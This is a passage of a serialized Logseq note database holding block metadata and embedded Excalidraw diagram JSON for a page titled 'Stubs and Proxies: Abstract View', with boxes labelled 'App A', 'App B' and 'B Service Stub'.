true\\n\\nlogseq____",536870916]],[logseq____"^15logseq____",[316,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[316,logseq____"~:block/invalid-propertieslogseq____",[logseq____"~#setlogseq____",[]],536870916]],[logseq____"^15logseq____",[316,logseq____"^Flogseq____",314,536870916]],[logseq____"^15logseq____",[316,logseq____"^Xlogseq____",314,536870916]],[logseq____"^15logseq____",[316,logseq____"^Vlogseq____",314,536870916]],[logseq____"^15logseq____",[316,logseq____"^Ulogseq____",314,536870916]],[logseq____"^15logseq____",[316,logseq____"^Ulogseq____",315,536870916]],[logseq____"^15logseq____",[316,logseq____"^:logseq____",true,536870916]],[logseq____"^15logseq____",[316,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",true],536870916]],[logseq____"^15logseq____",[316,logseq____"^Jlogseq____",[logseq____"^1logseq____<logseq____"],536870916]],[logseq____"^15logseq____",[316,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[316,logseq____"^Hlogseq____",315,536870916]],[logseq____"^15logseq____",[316,logseq____"^;logseq____",logseq____"~u67b83fac-4764-43d1-9dd5-716a006aaec4logseq____",536870916]],[logseq____"^15logseq____",[317,logseq____"^Qlogseq____",logseq____"#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this file.\\n#+END_IMPORTANTlogseq____",536870916]],[logseq____"^15logseq____",[317,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[317,logseq____"^Flogseq____",316,536870916]],[logseq____"^15logseq____",[317,logseq____"^Xlogseq____",314,536870916]],[logseq____"^15logseq____",[317,logseq____"^Vlogseq____",314,536870916]],[logseq____"^15logseq____",[317,logseq____"^Ulogseq____",314,536870916]],[logseq____"^15logseq____",[317,logseq____"^;logseq____",logseq____"~u67b83fac-a0ab-4b4a-bc69-99db7954faf9logseq____",536870916]],[logseq____"^15logseq____",[318,logseq____"^Qlogseq____",logseq____"{{renderer excalidraw-menu, excalidraw-2024-10-22-15-58-29}}logseq____",536870916]],[logseq____"^15logseq____",[318,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[318,logseq____"^Flogseq____",317,536870916]],[logseq____"^15logseq____",[318,logseq____"^Slogseq____",320,536870916]],[logseq____"^15logseq____",[318,logseq____"^Xlogseq____",314,536870916]],[logseq____"^15logseq____",[318,logseq____"^Vlogseq____",314,536870916]],[logseq____"^15logseq____",[318,logseq____"^Ulogseq____",314,536870916]],[logseq____"^15logseq____",[318,logseq____"^;logseq____",logseq____"~u67b83fac-e493-4fdc-8e45-da8a47870f7flogseq____",536870916]],[logseq____"^15logseq____",[319,logseq____"^Qlogseq____",logseq____"~```json\\n{\\logseq____"elements\\logseq____":[],\\logseq____"files\\logseq____":null}\\n```logseq____",536870916]],[logseq____"^15logseq____",[319,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[319,logseq____"^Flogseq____",318,536870916]],[logseq____"^15logseq____",[319,logseq____"^Xlogseq____",314,536870916]],[logseq____"^15logseq____",[319,logseq____"^Vlogseq____",314,536870916]],[logseq____"^15logseq____",[319,logseq____"^Ulogseq____",314,536870916]],[logseq____"^15logseq____",[319,logseq____"^;logseq____",logseq____"~u67b83fac-d4e0-4f2d-a9af-8b5b3e35c969logseq____",536870916]],[logseq____"^15logseq____",[320,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1:logseq____",logseq____"rendererlogseq____",logseq____"^1;logseq____",[logseq____"excalidraw-menulogseq____",logseq____"excalidraw-2024-10-22-15-58-29logseq____"]],536870916]],[logseq____"^15logseq____",[320,logseq____"^Wlogseq____",logseq____"macrologseq____",536870916]],[logseq____"^15logseq____",[320,logseq____"^Tlogseq____",logseq____"renderer excalidraw-menu excalidraw-2024-10-22-15-58-29logseq____",536870916]],[logseq____"^15logseq____",[322,logseq____"^Klogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[322,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[322,logseq____"^Ylogseq____",logseq____"excalidraw-2024-10-22-15-59-19logseq____",536870916]],[logseq____"^15logseq____",[322,logseq____"^11logseq____",logseq____"excalidraw-2024-10-22-15-59-19logseq____",536870916]],[logseq____"^15logseq____",[322,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",true,logseq____"~:excalidraw-plugin-aliaslogseq____",logseq____"Stubs and Proxies: Abstract Viewlogseq____"],536870916]],[logseq____"^15logseq____",[322,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",logseq____"truelogseq____",logseq____"^1?logseq____",logseq____"Stubs and Proxies: Abstract Viewlogseq____"],536870916]],[logseq____"^15logseq____",[322,logseq____"^Blogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[322,logseq____"^;logseq____",logseq____"~u67b83fac-85c1-41bf-961d-33bb48aeacdclogseq____",536870916]],[logseq____"^15logseq____",[323,logseq____"^Klogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[323,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[323,logseq____"^Ylogseq____",logseq____"excalidraw-plugin-aliaslogseq____",536870916]],[logseq____"^15logseq____",[323,logseq____"^11logseq____",logseq____"excalidraw-plugin-aliaslogseq____",536870916]],[logseq____"^15logseq____",[323,logseq____"^Blogseq____",1740128172104,536870916]],[logseq____"^15logseq____",[323,logseq____"^;logseq____",logseq____"~u67b83fac-5621-45b0-9093-6dfbd9bf11f3logseq____",536870916]],[logseq____"^15logseq____",[324,logseq____"^Qlogseq____",logseq____"excalidraw-plugin:: true\\nexcalidraw-plugin-alias:: Stubs and Proxies: Abstract View\\n\\nlogseq____",536870916]],[logseq____"^15logseq____",[324,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[324,logseq____"^1=logseq____",[logseq____"^1logseq____>logseq____",[]],536870916]],[logseq____"^15logseq____",[324,logseq____"^Flogseq____",322,536870916]],[logseq____"^15logseq____",[324,logseq____"^Xlogseq____",322,536870916]],[logseq____"^15logseq____",[324,logseq____"^Vlogseq____",322,536870916]],[logseq____"^15logseq____",[324,logseq____"^Ulogseq____",315,536870916]],[logseq____"^15logseq____",[324,logseq____"^Ulogseq____",322,536870916]],[logseq____"^15logseq____",[324,logseq____"^Ulogseq____",323,536870916]],[logseq____"^15logseq____",[324,logseq____"^:logseq____",true,536870916]],[logseq____"^15logseq____",[324,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",true,logseq____"^1?logseq____",logseq____"Stubs and Proxies: Abstract Viewlogseq____"],536870916]],[logseq____"^15logseq____",[324,logseq____"^Jlogseq____",[logseq____"^1logseq____<logseq____",logseq____"^1?logseq____"],536870916]],[logseq____"^15logseq____",[324,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1logseq____<logseq____",logseq____"truelogseq____",logseq____"^1?logseq____",logseq____"Stubs and Proxies: Abstract Viewlogseq____"],536870916]],[logseq____"^15logseq____",[324,logseq____"^Hlogseq____",315,536870916]],[logseq____"^15logseq____",[324,logseq____"^Hlogseq____",323,536870916]],[logseq____"^15logseq____",[324,logseq____"^;logseq____",logseq____"~u67b83fac-4977-4228-8398-c925f6e8bc19logseq____",536870916]],[logseq____"^15logseq____",[325,logseq____"^Qlogseq____",logseq____"#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this file.\\n#+END_IMPORTANTlogseq____",536870916]],[logseq____"^15logseq____",[325,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[325,logseq____"^Flogseq____",324,536870916]],[logseq____"^15logseq____",[325,logseq____"^Xlogseq____",322,536870916]],[logseq____"^15logseq____",[325,logseq____"^Vlogseq____",322,536870916]],[logseq____"^15logseq____",[325,logseq____"^Ulogseq____",322,536870916]],[logseq____"^15logseq____",[325,logseq____"^;logseq____",logseq____"~u67b83fac-83bc-4ff6-b114-3c06e7cacba9logseq____",536870916]],[logseq____"^15logseq____",[326,logseq____"^Qlogseq____",logseq____"{{renderer excalidraw-menu, excalidraw-2024-10-22-15-59-19}}logseq____",536870916]],[logseq____"^15logseq____",[326,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[326,logseq____"^Flogseq____",325,536870916]],[logseq____"^15logseq____",[326,logseq____"^Slogseq____",328,536870916]],[logseq____"^15logseq____",[326,logseq____"^Xlogseq____",322,536870916]],[logseq____"^15logseq____",[326,logseq____"^Vlogseq____",322,536870916]],[logseq____"^15logseq____",[326,logseq____"^Ulogseq____",322,536870916]],[logseq____"^15logseq____",[326,logseq____"^;logseq____",logseq____"~u67b83fac-c7a3-47df-94ff-43cb28020f95logseq____",536870916]],[logseq____"^15logseq____",[327,logseq____"^Qlogseq____",logseq____"~```json\\n{\\logseq____"elements\\logseq____":[{\\logseq____"id\\logseq____":\\logseq____"ZAve3TnKhR_PnXRpgKRpS\\logseq____",\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"x\\logseq____":1050,\\logseq____"y\\logseq____":820,\\logseq____"width\\logseq____":9.999984741210938,\\logseq____"height\\logseq____":25,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"seed\\logseq____":1784662948,\\logseq____"version\\logseq____":2,\\logseq____"versionNonce\\logseq____":1570159900,\\logseq____"isDeleted\\logseq____":true,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605568679,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"text\\logseq____":\\logseq____"\\logseq____",\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"textAlign\\logseq____":\\logseq____"left\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"baseline\\logseq____":18,\\logseq____"containerId\\logseq____":null,\\logseq____"originalText\\logseq____":\\logseq____"\\logseq____",\\logseq____"lineHeight\\logseq____":1.25},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":4,\\logseq____"versionNonce\\logseq____":1067554972,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"btJXfo0TRR98jfZP463tV\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1014.3203125,\\logseq____"y\\logseq____":622.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":540.65625,\\logseq____"height\\logseq____":122.5,\\logseq____"seed\\logseq____":143039908,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"KqdUt_NV4p0X2G2Edvpqf\\logseq____"}],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":167565476,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"KqdUt_NV4p0X2G2Edvpqf\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1255.9584655761719,\\logseq____"y\\logseq____":627.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":57.37994384765625,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1360063524,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"App B\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"btJXfo0TRR98jfZP463tV\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"App B\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":7,\\logseq____"versionNonce\\logseq____":653111836,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"cYBC0eZBIJWdPBm0_KEwZ\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1039.3203125,\\logseq____"y\\logseq____":657.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":196.359375,\\logseq____"height\\logseq____":52.5,\\logseq____"seed\\logseq____":721131300,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":6,\\logseq____"versionNonce\\logseq____":1301482916,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"tJhB-_svD8ZLmJLYeRTY2\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1285.6796875,\\logseq____"y\\logseq____":657.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":244.296875,\\logseq____"height\\logseq____":52.5,\\logseq____"seed\\logseq____":491066020,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":6,\\logseq____"versionNonce\\logseq____":166881948,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"r9aVw_4wxptDxNyCdEH4k\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1236.6794375,\\logseq____"y\\logseq____":684,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":49.5,\\logseq____"height\\logseq____":0.5,\\logseq____"seed\\logseq____":731101604,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"cYBC0eZBIJWdPBm0_KEwZ\\logseq____",\\logseq____"focus\\logseq____":0.0889748599095972,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"tJhB-_svD8ZLmJLYeRTY2\\logseq____",\\logseq____"focus\\logseq____":0,\\logseq____"gap\\logseq____":1},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[24,-0.5],[48.5,-0.5]]},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":608844956,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"EB3NLgvBqjJRHyFoMtRDQ\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1063.980079650879,\\logseq____"y\\logseq____":671,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":147.0398406982422,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1522849188,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"B Service Stub\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"cYBC0eZBIJWdPBm0_KEwZ\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"B Service Stub\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":1241148196,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"lIaAd8t2BtSaS3-tilTkx\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":1308.688232421875,\\logseq____"y\\logseq____":671,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":198.27978515625,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":778207524,\\logseq____"groupIds\\logseq____":[\\logseq____"UBntVcr7ghicg01LAeyCI\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Stub Implementation\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"tJhB-_svD8ZLmJLYeRTY2\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Stub Implementation\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":4,\\logseq____"versionNonce\\logseq____":928436004,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"OpcNb1gD7e-Kh8XWI9wfk\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":150.0234375,\\logseq____"y\\logseq____":603.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":516.96875,\\logseq____"height\\logseq____":160,\\logseq____"seed\\logseq____":1353402660,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"aolhESiOHXi9Lwz4CbwEB\\logseq____"}],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":5,\\logseq____"versionNonce\\logseq____":1129673628,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"aolhESiOHXi9Lwz4CbwEB\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":380.52783966064453,\\logseq____"y\\logseq____":608.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":55.95994567871094,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1609025444,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"App A\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"OpcNb1gD7e-Kh8XWI9wfk\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"App A\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":6,\\logseq____"versionNonce\\logseq____":491349668,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"RmSNHrZx-5HsBqvO4gvS1\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":175.0234375,\\logseq____"y\\logseq____":638.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":165.046875,\\logseq____"height\\logseq____":90,\\logseq____"seed\\logseq____":372147364,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":7,\\logseq____"versionNonce\\logseq____":1130415516,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"hVhkMeB2zSvUs5XZN44IZ\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":433.1484375,\\logseq____"y\\logseq____":657.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":208.84375,\\logseq____"height\\logseq____":52.5,\\logseq____"seed\\logseq____":1321095204,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":6,\\logseq____"versionNonce\\logseq____":840561060,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"0dkwe3K9r9LZm4CjbjZsX\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":340.5704375,\\logseq____"y\\logseq____":684,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":93.578,\\logseq____"height\\logseq____":0.5,\\logseq____"seed\\logseq____":265494052,\\logseq____"groupIds\\logseq____":[\\logseq____"iF72X4icOLoOCZXhi6J4q\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"vOf_ir94eZopGRSRNiKI4\\logseq____"}],\\logseq____"updated\\logseq____":1729605631881,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"RmSNHrZx-5HsBqvO4gvS1\\logseq____",\\logseq____"focus\\logseq____":-0.009703467694235055,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"hVhkMeB2zSvUs5XZN44IZ\\logseq____",\\logseq____"focus\\logseq____":-0.039364036221413864,\\logseq____"gap\\logseq____":1},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\